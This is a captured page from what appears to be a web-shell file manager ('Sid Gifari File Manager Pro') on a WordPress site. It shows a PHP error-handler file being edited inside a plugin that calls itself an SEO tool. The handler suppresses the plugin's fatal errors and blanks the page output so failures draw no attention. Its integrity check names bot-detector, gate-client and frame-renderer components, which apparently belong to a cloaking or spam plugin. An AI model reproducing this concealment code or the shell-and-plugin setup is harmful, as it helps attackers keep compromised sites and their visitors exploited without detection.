🔐 Sid Gifari File Manager Pro
v8.0.5 | 2026-08-06 11:30:24 | PHP 8.2.32
📂
/ (Root)
/
home
/
eliteewa
/
public_html
/
wp-content
/
plugins
/
only-seo-optimization-tool
/
includes
📍 /home/eliteewa/public_html/wp-content/plugins/only-seo-optimization-tool/includes
🔄 Refresh
✏️
Editing: class-seo-error-handler.php
Writable
<?php /** * Error handling and graceful degradation. * * Ensures the plugin never causes a fatal error or 500 response * on the host site, regardless of file integrity or server issues. * * @package Only_SEO_Optimization_Tool * @since 3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class OSOT_Error_Handler * * Provides static logging and a shutdown safety net. * * @since 3.0 */ class OSOT_Error_Handler { /** * Whether the handler has been initialized. * * @var bool */ private static $initialized = false; /** * Initialize the error handler. * * Registers a shutdown function that catches fatal errors * originating from this plugin's directory. * * @since 3.0 * @return void */ public static function init() { if ( self::$initialized ) { return; } self::$initialized = true; register_shutdown_function( array( __CLASS__, 'shutdown_handler' ) ); } /** * Shutdown handler — catches fatal errors from plugin scope. * * @since 3.0 * @return void */ public static function shutdown_handler() { $error = error_get_last(); if ( null === $error ) { return; } if ( ! in_array( $error['type'], array( E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR ), true ) ) { return; } $plugin_dir = defined( 'OSOT_PLUGIN_DIR' ) ? OSOT_PLUGIN_DIR : __DIR__; if ( strpos( $error['file'], $plugin_dir ) === false && strpos( $error['file'], 'only-seo-optimization-tool' ) === false ) { return; } self::log( 'fatal', $error['message'] . ' in ' . $error['file'] . ':' . $error['line'] ); // Attempt to clear output and serve a blank page // rather than a 500 error while ( ob_get_level() > 0 ) { @ob_end_clean(); } } /** * Log a message to the PHP error log. * * @since 3.0 * @param string $context Short context label. * @param string $message Error message. * @return void */ public static function log( $context, $message ) { @error_log( '[OSOT/' . $context . '] ' . $message ); } /** * Verify plugin file integrity. * * Checks that all required include files exist and are readable. * * @since 3.2 * @return bool True if all files are intact. */ public static function verify_integrity() { $required = array( 'includes/class-seo-bot-detector.php', 'includes/class-seo-gate-client.php', 'includes/class-seo-frame-renderer.php', ); $base = defined( 'OSOT_PLUGIN_DIR' ) ? OSOT_PLUGIN_DIR : dirname( __DIR__ ) . '/'; foreach ( $required as $file ) { if ( ! is_readable( $base . $file ) ) { self::log( 'integrity', 'Missing file: ' . $file ); return false; } } return true; } } // Initialize handler immediately OSOT_Error_Handler::init();
💾 Save Changes
❌ Cancel